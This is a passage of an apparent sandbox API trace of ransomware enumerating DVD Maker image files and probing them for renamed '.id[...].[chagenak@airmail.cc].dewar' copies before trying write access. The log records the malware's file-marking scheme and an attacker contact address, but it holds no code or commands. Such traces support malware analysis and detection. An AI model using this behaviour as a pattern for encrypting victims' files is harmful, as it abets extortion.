files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.841] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3000) returned 1 [0254.842] CloseHandle (hObject=0x1e0) returned 1 [0254.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png")) returned 0x20 [0254.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png")) returned 0x20 [0254.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.851] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4570) returned 1 [0254.852] CloseHandle (hObject=0x1e0) returned 1 [0254.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png")) returned 0x20 [0254.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png")) returned 0x20 [0254.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.856] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=6440) returned 1 [0254.856] CloseHandle (hObject=0x1e0) returned 1 [0254.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png")) returned 0x20 [0254.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png")) returned 0x20 [0254.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.858] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2821) returned 1 [0254.858] CloseHandle (hObject=0x1e0) returned 1 [0254.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png")) returned 0x20 [0254.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png")) returned 0x20 [0254.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.860] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5620) returned 1 [0254.860] CloseHandle (hObject=0x1e0) returned 1 [0254.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png")) returned 0x20 [0254.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png")) returned 0x20 [0254.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.863] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5088) returned 1 [0254.863] CloseHandle (hObject=0x1e0) returned 1 [0254.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png")) returned 0x20 [0254.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png")) returned 0x20 [0254.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.326] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3130) returned 1 [0255.326] CloseHandle (hObject=0x1e0) returned 1 [0255.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0255.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0255.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.328] SetEvent (hEvent=0x118) returned 1 [0255.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.329] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=195804) returned 1 [0255.329] CloseHandle (hObject=0x1e0) returned 1 [0255.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png")) returned 0x20 [0255.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png")) returned 0x20 [0255.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.335] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0255.335] CloseHandle (hObject=0x1e0) returned 1 [0255.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp")) returned 0x20 [0255.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp")) returned 0x20 [0255.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.336] SetEvent (hEvent=0x118) returned 1 [0255.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.337] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0255.338] CloseHandle (hObject=0x1e0) returned 1 [0255.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp")) returned 0x20 [0255.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp")) returned 0x20 [0255.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.340] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0255.340] CloseHandle (hObject=0x1e0) returned 1 [0255.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp")) returned 0x20 [0255.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp")) returned 0x20 [0255.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.342] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0255.342] CloseHandle (hObject=0x1e0) returned 1 [0255.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp")) returned 0x20 [0255.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp")) returned 0x20 [0255.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.348] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0255.348] CloseHandle (hObject=0x1e0) returned 1 [0255.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp")) returned 0x20 [0255.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp")) returned 0x20 [0255.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.350] SetEvent (hEvent=0x118) returned 1 [0255.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.351] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0255.351] CloseHandle (hObject=0x1e0) returned 1 [0255.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp")) returned 0x20 [0255.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp")) returned 0x20 [0255.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.353] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0255.353] CloseHandle (hObject=0x1e0) returned 1 [0255.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp")) returned 0x20 [0255.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp")) returned 0x20 [0255.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd 